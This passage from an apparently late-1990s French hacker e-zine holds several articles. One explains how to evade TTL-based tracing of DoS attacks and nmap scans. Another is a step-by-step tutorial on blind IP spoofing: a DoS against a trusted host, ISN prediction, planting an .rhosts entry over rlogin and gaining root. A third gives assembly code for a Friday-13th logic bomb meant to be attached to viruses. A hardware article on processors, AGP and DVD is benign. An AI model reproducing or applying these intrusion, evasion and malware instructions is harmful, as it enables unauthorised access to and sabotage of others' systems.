et on m'attaque par une DOS classique . Etant sous linux je 
compile trankylou un prog c ouvrant une socket et tapant un petit 
read(rawsocket,&paquet,sizeof(paquet)) pour pouvoir observer les paquets qu'on
m'envoie. Et la qu'est-ce que j vois ? IPsource : 199.167.25.56 TTL:255 .
Clairement l'ip ne veut rien dire, en effet les dos sont spoofe puisque les
paquets ne reviennent pas  l'expediteur.Par contre on remarque un TTL de 255
c'est a dire au max, le paquet n'est donc passe par aucun autre systeme que
le notre : le paquet vient donc du reseau local ! On scan alors l'ensemble des
machines du reseau pour remonter jusqu'au coupable!

  Mais il y a pire : prenons le logiciel de scan nmap, celui-ci (qu'utilise 
nombre de hacker) envoie des paquets dont le TTL est mis  255 et dont le port
source est toujours de 49724 ! 
Imaginons alors un sympathique defenseur de la liberte du net utilisant nmap 
pour scanner les ports d'une machine,disons...judiciaire not FCK. Grossiere
erreur ! En effet FCK, ecoutant ses ports, remarque un paquet de port source 
49724 qui arrive  sa machine. FCK sait alors que quelqu'un tente de faire un 
nmap sur ses ports. Il note le TTL moyen (moyenne des TTLs des differents 
paquets de port source 49724) et sachant que nmap met le TTL initialement  255
il sait par un rapide calcul (255-TTL moyen) la distance en nombre de systemes 
(ou routeur) qui le separe du hacker. Bon maintenant si le hacker utilise 
regulierement nmap sur des machines judiciaires, par recoupement (en utilisant 
une carte des systemes comme en dispose nos amis les V) on peut remonter 
jusqu'au premier systeme qu'utilise le hacker c'est a dire son fournisseur 
d'acces ! Bon la suite j crois que j ai pas besoin de l'expliquer! BUSTED !
 
Conclusion: initialisez vos TTL  une valeur comprise entre 150 et 200 dans vos
progs c, le mieux etant bien sur de pouvoir choisir son TTL  chaque lancement
du prog (pour trois lignes de programmation en plus vous pouvez peut etre un 
petit effort) !
		utilisez toujours la combinaison wingate proxy shell qui rallonge les
routes et qui rend ainsi l'ecart type entre les valeurs des TTL suffisamment 
grand pour rendre ceux-ci inutilisables!

											Par4noID

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
			HACKING METHODE : LE SPOOFING DE CONNECTION
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

 Le but de cet article est de vous expliquer une methode fatal de hacking : 
le spoofing !
 Noter que je n'ai aucunement la pretention d' apprendre quoi que ce soit a 
toute personne qui s'interesse depuis un certain temps au hacking et qui 
(comme tout bon hacker) en maitrise l'utilisation et le codage. Cet article 
s'addresse donc principalement aux newbies et a tout ceux desireux d'apprendre
l'efficacite d'une telle methode.

Preliminaire :
 Le spoofing consiste a voler l'addresse IP d'une machine c'est a dire a se 
faire passer aux yeux d'une machine B pour une machine A.
 Pour mettre en oeuvre une telle pratique , il nous faut d'abord nous 
interesser  l'etablissement d'une connection TCP/IP :
UNE CONNECTION TCP/IP SE FAIT EN TROIS ETAPES :
1 La machine A ( qui veut etablir une connection avec B) envoie un paquet ,avec 
le bit SYN plac,  B ainsi que son ISN ( qu'on note ISNa )

		A ---------SYN + ISNa-------->  B

2 La machine B repond par un paquet, avec les bits SYN et ACK placs , muni de 
son ISN ( qu'on note ISNb ) ainsi que de l'ISNa pour ainsi "prevenir A" 
qu'elle connait bien son ISN.

		A <--SYN + ACK + ISNb + ISNa--  B

3 La machine renvoie finalement un paquet avec le bit ACK place et l'ISNb pour 
prevenir B qu'elle a bien recu son ISN.

		B ---------ACK + ISNb-------->  A

Voila si vous voulez plus de precision, allez voir l'article de Scientist.

LeT's spOOf !

Machine A : 192.156.0.23
Machine B : 191.142.23.15

Mettons que la machine A ait des droits rlogin sur la machine B.
Notre but est simple : nous faire passer pour A aux yeux de B et d'ainsi etablir
une connection, d'obtenir un shell (par spoof) puis un ptit roOt.  

Ok alors comment faire ? D'abord envoyer un paquet SYN avec notre ISN et
l'addresse IP de la machine A , c pas si simple !

En effet si on envoie un tel paquet a B , celle ci va repondre  la machine A
(la vraie) par un packet SYN/ACK avec son ISN et le notre l'ISNh.

si on note H la machine du hacker , tout se passe suivant le schema suivant :

1		H --------SYN + ISNh-------> B
				avec 
			addresse IP de A

2		B --SYN/ACK + ISNh + ISNb--> A



La machine A qui n'a pas envoye de paquet SYN repond a B par un datagramme erreur :
B coupe alors la connection : bye bye shell !
CONCLUSION : La premiere etape du spoofing consiste  deconnecter la machine A ;-))
pour se faire utiliser une DOS classique (cf par exemple article smurf de SLy)

Une fois que la machine A est hors service , on construit un paquet SYN ( la prog c
est classique toutefois n oublier pas de remplir la structure iphdr avec les infos
de A ! )
C alors qu'intervient le probleme majeur du BLIND SPOOFING : 
reflechissons : B va repondre  la machine A (qui est alors hors service) en lui 
envoyant l'ISNh et l'ISNb et va attendre le paquet ACK final CONTENANT L'ISNb :
la on a un probleme ! voyons tout ceci en schema :

1 ETAPE 1 : on met A HORS SERVICE  

 		H -----------DOS-----------> A

2 ETAPE 2 : on envoie un paquet SYN  B en nous faisant passer pour A

		H -----SYN + ISNh----------> B
		        IP de A

3 ETAPE 3 : B est alors persuade que A veut etablir une connection, elle renvoie 
donc un SYN/ACK  A ( qui ne repondra jamais car Out of Service)

		B --SYN/ACK + ISNh + ISNb--> A (OOS)

4 ETAPE 4 : B attend alors un paquet ACK de la part de A pour etablir une 
connection. En theorie il faut donc que H lui envoie ce paquet au nom de A:

		H -------ACK + ISNb--------> B

Le probleme est que , dans ce dernier paquet, il nous faut renvoyer l'ISNb que nous
ne connaissons pas ! (rappelez vous l'ISNb a t renvoy  A)
On distingue alors deux cas :
	- on est sur un reseau local : un simple sniffer nous permet alors d'obtenir 
l'ISNb : on parle de Non-BLIND SPOOFING.
	- on est sur internet : il nous faut deviner l'ISNb : on parle de 
BLIND SPOOFING.

Comment deviner l'ISNb ?

on pourrait croire (et je dois dire asez logiquement) que l'ISNb est toujours nul.
Ceci poserait cependant certains problemes: imaginer un serveur qui accepte 
plusieurs connections  la fois , les paquets pourraient etre melanges !
L'ISN n'est pas non plus tirer au hasard : en effet on verrait alors apparaitre 
le meme probleme que precedemment.
En realite, l'ISN obeit EN GENERAL  un algorithme simple :
il augmente de 128 000/secondes et de 64 000 a chaque connection

Finalement pour obtenir l'ISNb il suffit de taper plusieurs connections avec B, 
noter l'ISNb et essayer de deviner le prochain.
Au final voila comment on spoof B :


		1		H -----Connection pour-----> B
					obtenir le prochain
						ISNb


		2 		H -----------DOS-----------> A


		3		H -----SYN + ISNh----------> B
				        IP de A


		4		B --SYN/ACK + ISNh + ISNb--> A (OOS)


		5		H -------ACK + ISNb--------> B


B ouvre alors une connection avec A.
Si maintenant on a spoofe le port rlogin et que A avait des droits r* sur B
il nous suffit d'envoyer de zolis paquets AU NOM DE A qui ecrivent notre IP
dans son $HOME/.rhost (finger A@machine B pour obtenir le home directory) et 
voila :
- on ferme la connection avec B.
- puis : 

Par4noID$ rlogin -l userA IP_de_B
Machine_B$  
Un ptit buff overflow pour la forme et:
Machine_B#


//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
					LA BOMBE DU MOIS 
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

  Dans chaque mag j'essaierai de crer une petite bombe muni de sa 
gachette. Le but n'est pas de tout faire exploser mais de rendre les bombes 
subtiles voire amusantes. Pour ceux qui croient encore que les virus peuvent 
causer des dommages matriels, je tiens  dire que cela est faux. J'aurai 
l'occasion de revenir sur le sujet dans un prochain mag...
  Quoi qu'il en soit, voil la premire bombe que j'ai baptis Friday_13th. 
Elle peut tre colle  toutes sortes de virus (mais elle est trs efficace et 
bien plus amusante pour les virus boot). Sa gachette est simple, elle se 
dclenche tous les vendredi 13 et empche tout programme de fonctionner ce jour
l en affichant 'You have no luck today, your computer does not work.'. 
Le meilleur endroit pour coller cette routine est bien videmment le 
gestionnaire d'interruption du virus. Ainsi, quoi que le PC fasse ce jour l, 
il est quasiment certain de tomber sur cette bombe.

------------------------------------------------------------------------------
Friday_13th:
	mov ah,2Ah
	int 21h
	cmp dl,13		;is it the 13th?
	jz Not_today
	cmp al,5		;is it friday?
	jz Not_today
	cli

Looping:
	mov dx,offset msg
	mov ax,0900h
	int 21h
	jmp Looping		;the devilish loop

Not_today:			;wait until next friday 13th
	ret

msg db 'You have no luck today, your computer does not work.$'
------------------------------------------------------------------------------

  Et voil, tout simplement...
Il est bien sr possible d'adapter cette bombe assez simple  n'importe quelle 
date (anniversaire du crateur du virus, anniversaire de la mise sur le march 
de Windows 95, nouvel an...); Pour cela, il suffit juste de connatre les 
paramtres de sortie de la fonction 2Ah de l'interruption 21h, que je vais vous 
donner dans mon infinie sagesse :
  dh = le mois (de 1  12)
  dl = le jour du mois (de 1  31)
  cx = l'anne (de 1980  2099)
  al = le jour de la semaine (de 0  6 avec 0=dimanche, ... , 6=samedi)

											Androgyne

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
		             LES NOUVEAUX PERIPHERIQUES
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
A|---| Les processeurs de la nouvelle gnration.

B|---| L'AGP system
 
C|---| Le firewire ou IEEE 1394

D|---| Quelques prcisions sur le principe MMX

C'est bien beau de programmer son ordinateur, mais je pense qu'il ne faut
pas ngliger la bonne connaissance de son matriel car il reprsente la 
base de vos travaux ! C'est pourquoi, je me permet de faire un petit passage 
en revue de quelques nouveaux priphriques dont on a beaucoup d'chos. 
Malheureusement je n'ai pas pu crire sur tous les nouveaux priphriques, 
il aurait fallu des dizaines de pages et surtout je ne suis pas en mesure 
de parler de tout car beaucoup de techniques ne sont pas encore trop connues 
et mme si elles l'etaient, je ne les comprendrais pas. Cet article, j'espre, 
vous apprendra ce qu'est rellement votre matriel et comment il 
fonctionne (en simplifi et en condens ). 


A|---| Les processeurs

En effet, la configuration interne de nos PC a chang avec les nouvelles
cartes mres  circuits TX et LX permettent de bnficier de nouvelles 
fonctions, comme d'un vitesse accrue et d'une meilleure scurit.
Les processeurs d'une sixime gnration (bientt dpasse) comme AMD, Cyrix 
et Intel ont des caractristiques communes sur leurs K6, 6x86MX et Pentium II.
Tous trois intgrent la fonctionnalit MMX soit MultiMedia eXtension. Avec les
fameuses 57 instructions multimdia ; grandes vitesses d'horloge 200, 233, 266,
300 et 350 MHz ; ainsi que l'architecture superpipeline qui acclre l'excution
des programmes ; avec des grosses mmoires caches internes 32 ou 64 Ko , 
les ordinateurs deviennent de plus en plus puissants et leurs architectures se
doivent de suivre le progrs.

Les sockets changent aussi chez Intel qui troque le socket7 du PentiumI contre 
un slot1 pour le PentiumII. En revanche, AMD et Cyrix prfrent garder cette
ancienne architecture plus polyvalente avec le Socket7.

Les processeurs K6 et 6x86 exploitent des cartes mres de type Pentium, disposant
du jeu de circuits 430TX (ou tout simplement TX). Ce circuit bnficie de 
plusieurs atouts par rapport aux circuits HX et VX voir 430FX qui n'existe 
plus. Les TX restent les plus fiables et les plus performantes  l'heure 
actuelle  condition qu'elles possdent une mmoire cache suffisante qui leur 
permettrait de bien grer les lancements de drivers et autres. Ce circuit TX 
est compatible avec la norme E-IDE qui n'est autre qu'une fast-IDE avec l'Ultra 
DMA/33  ou encore Uitra ATA chez Quantum avec le clbre bigfoot pour les disques 
durs qui permet d'atteindre le taux de transfert thorique de 33Mo/s soit environ 
deux fois la vitesse des disques E-IDE PIO4 qui taient la rfrence jusqu' 
prsent. C'est tout de mme moins bien que les disques durs SCSI qui atteigne 
eux 40Mo/s et avec les SCSI Ultra-2, on va voir natre un taux de transfert 
 80Mo/s et mme lors de la sortie de l'Ultra-3 une vitesse s'levant  160Mo/s. 
Ce circuit TX gre de surcrot les ports USB; ce qui est trs intressant avec 
le taux de transfert que nous offrent ces petits cbles et gre aussi l'IrDA qui
est la norme des ports infrarouges qui quipe tous les portables ou quasiment.
Avec son changement de socket, Intel se voit confront  une problme car le 
PentiumII est dans l'incapacit d'exploiter les circuits TX et doivent alors 
se contenter du vieux 440Fx  ne pas confondre avec le 430FX rserv aux PentiumI.
Cependant Intel a sorti le nouveau 440LX rserv aux PentiumII, le jeu de 
circuits LX exploitent pleinement la SDRAM, les disques Ultra DMA/33, mais 
disposera aussi d'un port AGP, de la nouvelle fonction OnNOw ou Instant On et 
d'un systme de contrle complet DMI2.0 qui signifie Desktop Manager Interface 
exploit par LCDM, Lan Desk Client Manager un logiciel de contrle de PC.

B|---| Le systme AGP

Tout d'abord le systme AGP signifie Accelerated Graphics Port. C'est un nouveau 
bus rapide cadenc  66MHz. Il permet d'atteindre un dbit thorique de 528Mo/s 
soit quatre fois plus qu'un PCI qui n'atteignait que 129Mo/s ! En contre partie, 
comme son nom l'indique, il ne sert que pour la carte graphique et est donc 
rserv  cette seule vocation. Outre cette vitesse accrue, l' AGP dfinit la 
norme DMI Direct Memory Execute. Ce protocole permet d'utiliser la mmoire 
centrale libre du PC pour les application graphiques. Actuellement, les 
applications graphiques disposent de leurs propres mmoires. Les modles 3D 
les plus performants embarques jusqu' 32 Mo de mmoire ddie. 
Avec le systme AGP, 4Mo suffisent car l'ensemble des textures 3D sont stockes
dans la mmoire vive centrale de l'ordinateur et directement accessibles 
 528Mo/s au processeur graphique. On appelle alors mmoire AGP la mmoire 
vive rserve  la carte graphique. Cette mmoire se dfinit comme la mmoire 
alloue  Windows et autres applications dj lance moins la mmoire 
totale du PC. On supprime alors le transfert entre mmoire centrale et mmoire 
de la carte graphique sur un bus PCI, qui plus est !

C|---| Le Firewire ou IEEE1394

C'est un bus srie  hautes performances ou HPSB High Performance Serial Bus. 
Il reprsente un concurrent potentiel  l'USB Universal Serial Bus sur PC ou 
bien encore l'ADB d'Apple. Le firewire existe de ce fait depuis un bon moment. 
La carte adaptec AHA 8940 ou encore connue sous le nom de DSP Spark, comprend 
deux ports firewire en externes et un port interne. Ce bus fait partie 
intgrante de la norme PC97. Techniquement, le firewire permet des changes 
 400Mbits/s , ce qui constitue sans conteste son principal atout face  l'USB.
Ce bus est en premier lieu destin  tre reli  des camscopes numriques 
comme le DCR-PC7 de Sony et enfin ,  terme, ce bus pourra vhiculer tous les 
signaux de tlvision numrique comme le DVD , les magntoscopes numriques, etc... 

A savoir, il pourra aussi accueillir des disques durs car son dbit est encore
suprieur  celui de l'Ultra DMA/33.

??????????????????????
Le saviez-vous ???????
??????????????????????

Windows95 a subi plusieurs mises  jours : le service pack1 qui est en 
accs libre sur le site Internet de Microsoft, puis la version OSR2 OEM 
Service Release2, rserv comme son nom l'indique aux OEM, c'est  dire 
les constructeurs d'ordinateurs et les fabricants de disques durs. 
L'OSR2 apporte de nombreuses amliorations  la version de base de W95. 
Microsoft  mme en mme temps commercialis la version OSR 2.1 qui 
prsente les amliorations standards par rapport  la version standard 
W95 OSR2.0 :

- Mise  jour pour les pilotes USB avec, notamment, la gestion des camras USB.
- Modification de la comptabilit IrDA maintenant conforme aux normes 
  Plug and Play PNP0515 et PNP0511.
- Editeur de texte Japonais modifi : vachement utile pour les intellos. J
- Pour voir  tout hasard quelle version vous possdez : allez donc voir dans 
  le fichier NTKERN.VXD version 4.03.1212 dans le rpertoire Windows\system\Vmm32

D|---| Deux petits mots sur le DVD

Le disque DVD Digital Versatile Disk est un CD modifi (pour tre simple). 
Les lecteurs de DVD-Rom sont toujours quips d'une carte de dcompression 
Mpeg2 sauf lorsque votre carte vido (de bonne voire trs bonne qualit) 
vous l'offre, maintenant c'est chose faite de serie sur les ordinateurs 
recents PII, PIII, et equivalents chez les autres marques. Le lecteur DVD-Rom 
n'est autre qu'un lecteur de CDRom qui peut lire des disques DVD de 4,38Go pour
les simples couches et 7,95Go pour les doubles couches. Les fabricants ont 
plutt tendance  donner les valeurs  la faon Quantum : style 4,7Go et 
8,5Go (un petit Giga par ci !). Cette forte capacit permet le stockage de 4heures 
de vido code en Mpeg2. Cette norme de compression professionnelle n'a rien  voir 
avec le Mpeg1 ou autres CD-I. Le Mpeg2 est utilis par les diffuseurs professionnels 
- par exemple Canal Satellite - pour tous les bouquets numriques. Sur un cran 
d'ordinateur rafrachit  75 ou 85Hz, l'image de 720x576 points ou 720x480 points 
en NTSC s'avre tout simplement fantastique. Les disques DVD double couche, double
face peuvent atteindre jusqu' 15,9Go de donnes 17Go arrondi soit environ 
plus de 8 heures de vido numrique!

E|---| Le MMX  Multi Media eXtension.

a) Qu'est-ce qu'un microprocesseur?

C'est en fait un petit circuit lectronique destins  effectuer de multiples 
oprations lmentaires. Chacune de ces oprations correspondant  un ordre 
particulier. Ces commandes forment le jeu d'instructions du processeur. Les 
programmes informatiques ne sont que des suites d'instructions destines 
aux processeurs. 

Le processeur Pentium est compos de plusieurs millions de transistors ou
 d'quivalents-transistors. Le tout est intgr sur un puce de silicium de 
quelques centimtres. (S'il fallait construire le circuit en utilisnat des 
transistors classiques, il faudrait plus de cent mtres carrs!)
Ce processeur se compose de plusieurs parties. La plus importante est appele
unit de calcul que l'on appelle l'unit arithmtique et logique UAL ou ALU 
en Anglais; c'est elle qui assure l'xcution de chacunes des instructions. 
Lorsque les oprations ont lieu comme c'est le cas du Pentium sur 32Bits, 
on dit qu'il s'agit d'un processeur 32Bits.

Une autre partie est constitue d'un certain nombre de registres, 
ou des petites zones de mmoire o l'ordinateur stocke temporairement des donnes. 
Le Pentium MMX pour en venir  lui, possde huits registres MMX de 64Bits chacuns.

b) Un peu plus dans le dtail.

Les donnes qui ne sont pas contenues dans les registres se trouvent  
l'intrieur du processeur, dans la mmoire vive de l'ordinateur RAM Rondom 
Access Memory. Pour exploiter l'une de ces donnes, l'ordinateur  besoin 
de savoir l'addresse  laquelle elle se situe dans la mmoire. Cette addresse 
est un numro qui permet de localiser chacuns des octets dans la RAM. 
Quand le processeur a besoin de donnes, il les lit par paquets de 
4 ou 8 octets (32 ou 64 Bits), on parle dans ce cas de mots de 32 ou 64 Bits.
La plupart des ordinateurs ont spcialiss leurs registres : certains pour les 
addresses et d'autres pour les donnes. Dans un registre d'addresse rside soit
l'addresse d'une donne on parle d'adressage direct dans ce cas, soit  
l'adresse  laquelle on trouvera la vritable adresse de la donne c'est alors 
l'adressage indirect. Physiquement les adresses sont traduites par des signaux 
lectriques appliqus aux pattes du processeur qui sont relies au bus d'adresse 
: c'est par cette voie que le processeur indique aux boitiers de mmoire 
l'adresse de la donne  laquelle il veur accder ou qu'il veut stocker. 
De mme le bus de donnes vhicule les signaux lectriques traduisant les 
valeurs transmises. Sur le Pentium, ce bus atteint 64Bits on rcupre 
donc 8 octets en une seule lecture et le bus d'adresse 32Bits, ce qui permet
de grer plus de 232 adresses, soit plus de 4 milliards d'octets de mmoire
vive , environ 4Go.

Le Pentium contient 16Ko de mmoire cache de premier niveau qu'il scinde en 8Ko
pour les instructions et 8Ko pour les autres donnes. Les nouveaux processeurs
vont jusqu' 64Ko de mmoire cache de premier niveau comme le PentiumII ou K6-2. 
Le Pentium MMX, quant  lui fait la mme chose avec des quantits doubles : 
16Ko pour les commandes du processeur et 16Ko pour le reste. La mmoir se 
dfinit tout silmplement comme une mmoire swap ou d'change entre le processeur 
et la mmoir vive. Cette mmoire est beaucoup plus lente que le processeur 
- environ 8 fois - et cela pnalise donc fortement l'ordinateur. C'est pourquoi 
la mmoire cache ultra rapide constitue une zone tampon entre les deux autres. 
La mmoire cache possde l'incroyable capacit de prvoir  l'avance quelles vont 
tre les demandes du processeur et charge donc de ce fait les donnes ncessaires. 
A l'inverse, elle absorbe les lments  stocker instantanment , vitant ainsi 
toute perte de temps au processeur. Le cache du processeur est appel cache de 
premier niveau en opposition avec le cache extrieur au processeur appel cache 
de second niveau. Ce dernier type de mmoire se situe plus gnralement dans les
Bios internes des cartes mres. 

c) Le principe de fonctionnement

Tous les processeurs que nous connaissons fonctionnent selon les principes 
tablis par Johann von Neumann il y a environ 50ans : il disait alors qu'un 
programme est une liste d'instructions qui s'xcutent dans un ordre prcis 
on parle alors d'instructions squentielles ce qui implique auparavant qu'il 
existe une base de temps, matrialis par l'horloge. Schmatiquement, cela se 
prsente de la manire suivante : un registre spcial, le pointeur d'instructions,
indique l'adresse de la prochaine commande  excuter. Le processeur se 
charge alors de la charger ce qui fait passer  l'instruction suivante le 
pointeur d'instructions. Comme le Pentium est un processeur 32Bits, les 
instructions suivent ce format, et le pointeur reprsente donc 4 octets qui 
font 32Bits. Ensuite le processeur excute l'instruction et recommence un 
nouveau cycle. A l'intrieur de la phase d'excution, il se produit plusieurs 
vnements. Dans certains cas, l'instruction supposons ici que ce soit une 
addition, ADD concerne les donnes. Celles-ci sont dans des registres ou en 
mmoire. L'addition de deux nombres placs en mmoire, ces renseignements sont 
inclus dans les 32Bits de l'instruction, implique de lire leurs adresses 
respectives et de les placer dans deux registres d'adresses prdifinis. 
En supposant qu'il s'agisse d'un adressage direct, on peut alors demander 
 l'UAL d'excuter le calcul.

Le Pentium MMX est un Pentium et de ce fait bnficie d'un certain nombre 
de perfectionnements. Sa premire particularit est l'adoption de systme 
de pipeline. Le principe est simple : sur un processeur classique, le circuit 
reoit l'instruction, la trate, puis il signal que son travail est termin et 
qu'il est prt  recevoir l'instruction suivante. Or l'xcution d'une instruction,
comme on vient de le voir, requiert de multiples tapes : il faut dcoder 
l'instruction, dterminer s'il faut rcuprer des donnes et, si oui,  
partir d'o, ( registre, mmoire ) mettre  jour le pointeur d'instructions etc...

d) Un systme d'xcution par tapes.

Comme la plupart de ces oprations sont effectues par des modules diffrents 
du circuit, les concepteurs du Pentium ont ellabor un systme d'xcution 
par tapes. Une premire instruction est charge puis le dcodage s'effectue, 
pendant le mme temps une autre instruction est charge. Au cycle d'horloge 
suivant, la premire instruction passe en phase de rcupration de donnes, 
tandis que la seconde subit  son tour le dcodage et qu'une troisime 
instruction est charge. Et ainsi de suite comme sur une chane de montage 
de voitures o chaque poste effectue une opration lmentaire et envoie le 
produit  l'tape suivante : c'est la taylorisation du travail appliqu  des 
lctrons! Rsultat : chaque instruction met toujours autant de temps pour 
s'excuter mais,  la sortie du pipeline, on rcupre une instruction termine 
 chaque cycle d'horloge... Ceci seulement la plupart du temps, car si une 
commande exige un temps d'xcution plus grand, elle bloque le pipeline. 
C'est d'ailleurs pour expliquer ce fait que les petits curieux se demandent 
pourquoi il y a une tape de plus sur les MMX : 6 au lieu de 5; en effet 
cela diminue d'autant le nombre des cas dans lesquels une instruction ralentie 
les autres. Et ce n'est pas tout, les ingnieurs de chez Intel ont russi  placer 
2 pipelines fonctionnant simultanment. Grce  cela, le processeur peut xcuter 
jusqu' deux oprations par cycle. Cela se vrifie, parat-il, avec les oprations 
arithmtiques portant sur des valeurs prsentes dans les registres. Dans le cas 
du Pentium MMX , cela marche galement avec une grande partie des 
instructions MMX et des combinaisons arithmtiques et d'instructions MMX.
                              								
														SnEaKie

//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
				        JOIN THE G4NG
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////

  Si vous avez des articles, des ides, des projets, que vous soyez un Newbie,
une El33te, ou le plus grand HAXXOR de la plante, vous pouvez nous crire:
					
					RTCgang@yahoo.fr

  N'hsitez pas  nous soumettre des propositions en vue du RTCMag 2.

					Par4noID, SnEaKie, SLy, The ScienTisT, AndroGyne.
